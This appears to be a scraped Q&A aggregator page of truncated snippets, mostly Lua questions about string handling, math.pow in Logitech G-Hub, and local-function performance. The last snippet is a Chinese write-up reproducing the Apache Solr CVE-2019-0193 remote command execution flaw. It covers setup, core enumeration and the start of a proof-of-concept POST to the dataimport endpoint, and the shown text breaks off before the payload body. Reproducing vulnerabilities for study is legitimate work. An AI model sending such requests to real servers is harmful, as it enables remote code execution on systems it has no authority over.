lua

Trying to make function which takes string as input and returns no. of words in whole string

三世轮回 提交于 2021-02-05 09:31:07
问题 **It takes Input as a string such as this - 'Nice one' And Output gives - 4,3 (which is no. Of words in sentence or string) ** function countx(str) local count = {} for i = 1, string.len(str) do s = '' while (i<=string.len(str) and string.sub(str, i, i) ~= ' ' ) do s = s .. string.sub(str, i, i) i = i+1 end if (string.len(s)>0) then table.insert(count,string.len(s)) end end return table.concat(count, ',') end 回答1: -- Localise for performance. local insert = table.insert local text = 'I am a

Trying to make function which takes string as input and returns no. of words in whole string

僤鯓⒐⒋嵵緔 提交于 2021-02-05 09:31:06
问题 **It takes Input as a string such as this - 'Nice one' And Output gives - 4,3 (which is no. Of words in sentence or string) ** function countx(str) local count = {} for i = 1, string.len(str) do s = '' while (i<=string.len(str) and string.sub(str, i, i) ~= ' ' ) do s = s .. string.sub(str, i, i) i = i+1 end if (string.len(s)>0) then table.insert(count,string.len(s)) end end return table.concat(count, ',') end 回答1: -- Localise for performance. local insert = table.insert local text = 'I am a

math.pow with Logitech G-Hub

坚强是说给别人听的谎言 提交于 2021-02-05 08:09:13
问题 Not to sure how to fix this error. I read there was a change but have no idea how to fix it. function convert_sens(unconvertedSens) return 0.002 * math.pow(10, unconvertedSens / 50) end The error code was: attempt to call a nil value (field 'pow') 回答1: math.pow is deprecated since Lua 5.3 and even if your framework doesn't provide any math library simply use the exponentiation operator ^ . So instead of math.pow(x, y) simply write x^y 来源: https://stackoverflow.com/questions/65664703/math-pow

Getting all functions in a Lua script

≡放荡痞女 提交于 2021-02-05 06:52:10
问题 I'm trying to figure out a way to get all functions in a Lua script. This script has been compiled into a function through loadfile. For example, I'd want to get every function defined in the script below. function example1() end local function example2() end local library = {} function library:example3() end (function() -- Functions like this too. end) The names aren't important, I'm just looking for a way to get the actual functions so I can use them in debug.getinfo and get information

Lua how to remove “.html” text from end of string

倾然丶 夕夏残阳落幕 提交于 2021-02-05 06:37:25
问题 So I have a string in Lua and I want to remove all occurances ".html" text of the end of the string local lol = ".com/url/path/stuff.html" print(lol) Output i want : .com/url/path/stuff local lol2 = ".com/url/path/stuff.html.html" print(lol2) Output i want : .com/url/path/stuff 回答1: First, you could define a function like this: function removeHtmlExtensions(s) return s:gsub("%.html", "") end Then: local lol = ".com/url/path/stuff.html" local lol2 = ".com/url/path/stuff.html.html" local path1

Lua how to remove “.html” text from end of string

蓝咒 提交于 2021-02-05 06:37:08
问题 So I have a string in Lua and I want to remove all occurances ".html" text of the end of the string local lol = ".com/url/path/stuff.html" print(lol) Output i want : .com/url/path/stuff local lol2 = ".com/url/path/stuff.html.html" print(lol2) Output i want : .com/url/path/stuff 回答1: First, you could define a function like this: function removeHtmlExtensions(s) return s:gsub("%.html", "") end Then: local lol = ".com/url/path/stuff.html" local lol2 = ".com/url/path/stuff.html.html" local path1

Why are localized functions faster in Lua?

大兔子大兔子 提交于 2021-02-04 15:56:46
问题 TEST 1: Localize Code: local min = math.min Results: Non-local: 0.719 (158%) Localized: 0.453 (100%) Conclusion: Yes, we should localize all standard lua and Spring API functions. Source: https://springrts.com/wiki/Lua_Performance What is the reason for that performance boost? 回答1: local min = math.min Remember that table.name is just syntax sugar for table["name"] (they're exactly equivalent). And globals are just keys in the environment table, so math.min is _ENV["math"]["min"] . That's two

CVE-2019-0193:Apache Solr远程命令执行漏洞复现

烂漫一生 提交于 2021-02-04 09:52:00
0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x02 环境搭建 下载地址: https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip 在本地解压,进入solr-7.7.2目录,执行命令 bin/solr -e dih (前提:java环境) 然后访问 http://localhost:8983/solr 即可访问环境 0x03 漏洞利用 首先我们可以通过接口 curl http://127.0.0.1:8983/solr/admin/cores 来获取所有 core 信息,下面我们构造 payload 需要 name 信息 在Burp中发送以下POC即可执行命令弹出计算器,下面的<your_core_name> 需要替换为你获取到的 core 的 name(共两处) POST /solr/<your_core_name>/dataimport HTTP/1.1 Host : 127.0.0.1:8983 Content-Length : 763 User-Agent : Mozilla/5.0 Content-type : application/x-www

双色球过滤器

不羁岁月 提交于 2021-02-04 07:21:23
前言: 之前偶尔买买双色球,基本都是随机或手动选号(凭感觉),最后发现这样很不可靠,准确性实在太差了。后来产生一个想法:“如果根据号码参数走势猜测某些参数(例如和值,区间比,奇数球数,连号数,必选号、可选号、禁止号、互斥号等等)过滤出一些号码,在其中进行随机,概率是不是要高很多”,于是便写了个简单的计算工具用于过滤号码,确实方便了许多,效率显著提高了。后来重新编写了工具,至此,已可以满足我的所有计算要求。本文意在抛砖引玉,向读者介绍一种计算双色球选号理论或方法。 正文: 双色球有无科学计算之道?严格来说,不可能完全准确预测出开奖结果,但是可以无限接近。何以理解无限接近,即:虽然没有方法能够准确预测开奖结果,但是可以基于统计分析押中与开奖结果相符的某些或全部特征,例如:和值,区间比,奇偶比,AC值等越多参数相同号码组合将越接近开奖结果,或者可选中一个号码集合(比如几千/几万注)包含开奖结果. 实践证实,的确可以这样做,可以很容易做到每期 10-50万注号码集合90%以上概率包含开奖号码,其原理十分简单,取最近20-40期的参数极值作为参数门限(近期参数最大值作为当期参数上限,反之作为当期参数下限)。这样过滤后的号码组合集合有何意义?可以使用其进行随机选号;可以用期压缩复式;检测预选号码等等。本文只探讨红球号码计算方法,如下开始: 双色球的每个号码组合出现概率是否相同,真的相同吗

redis执行Lua脚本

拟墨画扇 提交于 2021-02-04 04:56:20
https://blog.csdn.net/mytt_10566/article/details/99732583 jianshu.com/p/366d1b4f0d13 Redis Lua 这个技术,我之前就在关注,今天有空,我把项目中基于Redis实现的ID生成器改成用lua脚本实现,防止并发id冲突问题 Redis中使用Lua的好处 减少网络开销。可以将多个请求通过脚本的形式一次发送,减少网络时延 原子操作。redis会将整个脚本作为一个整体执行,中间不会被其他命令插入。因此在编写脚本的过程中无需担心会出现竞态条件,无需使用事务。 复用。客户端发送的脚步会永久存在redis中,这样,其他客户端可以复用这一脚本而不需要使用代码完成相同的逻辑。 Redis Lua脚本与事务 从定义上来说, Redis 中的脚本本身就是一种事务, 所以任何在事务里可以完成的事, 在脚本里面也能完成。 并且一般来说, 使用脚本要来得更简单,并且速度更快。 使用事务时可能会遇上以下两种错误: 事务在执行 EXEC 之前,入队的命令可能会出错。比如说,命令可能会产生语法错误(参数数量错误,参数名错误,等等),或者其他更严重的错误,比如内存不足(如果服务器使用 maxmemory 设置了最大内存限制的话)。 命令可能在 EXEC 调用之后失败。举个例子,事务中的命令可能处理了错误类型的键